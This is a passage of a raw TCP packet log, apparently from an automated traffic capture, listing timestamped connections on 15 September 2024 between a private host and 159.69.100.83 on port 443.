Sep 15, 2024 19:37:13.719229937 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.719249010 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.719316006 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.719324112 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.719360113 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.738632917 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.738655090 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.738706112 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.738718033 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.738758087 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.749639988 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.749660969 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.749727964 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.749739885 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.749773979 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.761205912 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.761221886 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.761277914 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.761288881 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.761326075 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.771420956 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.771445036 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.771497965 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.771507025 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.771527052 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.771545887 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.781097889 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.781122923 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.781167030 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.781173944 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.781198025 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.781218052 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.789757967 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.789781094 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.789836884 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.789844036 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.789865971 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.789884090 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.811486006 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.811582088 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.811610937 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.811630011 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.811682940 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.811683893 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.811863899 CEST	49732	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.811906099 CEST	443	49732	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.812727928 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.812788010 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:13.812926054 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.813092947 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:13.813103914 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:14.472007990 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:14.472126961 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:14.472629070 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:14.472637892 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:14.474515915 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:14.474524975 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:14.906438112 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:14.906492949 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:14.906502962 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:14.906522989 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:14.906548977 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:14.906558037 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:14.906582117 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:14.906584978 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:14.906604052 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:14.906634092 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:14.937849998 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:14.937896013 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:14.937925100 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:14.937933922 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:14.937946081 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:14.937972069 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.006979942 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.007028103 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.007101059 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.007118940 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.007145882 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.007168055 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.038510084 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.038562059 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.038659096 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.038675070 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.038698912 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.038726091 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.078104973 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.078133106 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.078253031 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.078274965 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.078315973 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.103826046 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.103852034 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.103915930 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.103930950 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.103952885 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.103971958 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.124763966 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.124789000 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.124865055 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.124883890 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.124928951 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.141098976 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.141130924 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.141359091 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.141374111 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.141419888 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.159862041 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.159871101 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.160063982 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.160073042 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.160130978 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.178102016 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.178126097 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.178210974 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.178220034 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.178390980 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.192550898 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.192570925 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.192745924 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.192758083 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.192799091 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.209270000 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.209291935 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.209465027 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.209474087 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.209525108 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.222883940 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.222907066 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.222996950 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.223006964 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.223164082 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.231679916 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.231702089 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.231878042 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.231884956 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.231923103 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.241745949 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.241767883 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.241894960 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.241909981 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.241955042 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.249767065 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.249789953 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.249891043 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.249917984 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.249965906 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.259460926 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.259522915 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.259561062 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.259576082 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.259614944 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.259635925 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.267101049 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.267147064 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.267193079 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.267199993 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.267227888 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.267256975 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.277611017 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.277653933 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.277729988 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.277738094 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.277805090 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.292346001 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.292395115 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.292438030 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.292445898 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.292473078 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.292490005 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.321460009 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.321505070 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.321546078 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.321568966 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.321604967 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.321629047 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.323101044 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.323146105 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.323174000 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.323183060 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.323215961 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.323240995 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.325284004 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.325340033 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.325367928 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.325382948 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.325413942 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.325438976 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.334496021 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.334526062 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.334615946 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.334636927 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.334681034 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.343962908 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.343991041 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.344103098 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.344120026 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.344163895 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.350516081 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.350538969 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.350627899 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.350635052 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.350683928 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.359671116 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.359690905 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.359761953 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.359767914 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.359816074 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.381618023 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.381654024 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.381947041 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.381958961 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.382014990 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.409063101 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.409100056 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.409209013 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.409226894 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.409269094 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.410501003 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.410531998 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.410569906 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.410577059 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.410618067 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.412763119 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.412807941 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.412841082 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.412847042 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.412870884 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.412897110 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.429934978 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.429969072 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.430012941 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.430021048 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.430061102 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.431777954 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.431804895 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.431857109 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.431863070 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.431900024 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.438548088 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.438584089 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.438625097 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.438632011 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.438676119 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.448465109 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.448513031 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.448574066 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.448580027 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.448637962 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.469053984 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.469091892 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.469136000 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.469146013 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.469187975 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.508073092 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.508110046 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.508148909 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.508158922 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.508189917 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.508217096 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.509062052 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.509118080 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.509124994 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.509170055 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.509179115 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.509221077 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.509335041 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.509345055 CEST	443	49733	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.509356022 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.509399891 CEST	49733	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.510188103 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.510210037 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:15.510284901 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.510612965 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:15.510623932 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.168518066 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.168791056 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:16.169231892 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:16.169239044 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.171269894 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:16.171278954 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.609909058 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.609965086 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.610012054 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.610058069 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:16.610085011 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.610100031 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:16.610136986 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:16.638153076 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.638206005 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.638242006 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:16.638257980 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.638309956 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:16.638536930 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:16.707895041 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.707952023 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.708039999 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:16.708061934 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.708086967 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:16.708132982 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:16.738750935 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.738806963 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.738970995 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:16.738987923 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.739057064 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:16.780375004 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.780395031 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.780462027 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:16.780479908 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.780519962 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:16.809622049 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.809640884 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.809823036 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:16.809849024 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.809943914 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:16.825596094 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.825638056 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.825723886 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:16.825732946 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.825860023 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:16.840831995 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.840894938 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.841006041 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:16.841016054 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.841087103 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:16.860960960 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.860980034 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.861119032 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:16.861129045 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.861176014 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:16.877912045 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.877954960 CEST	443	49734	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:16.878056049 CEST	49734	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:16.878065109 CEST	443	49734	159.69.100.83	192.168.2.6
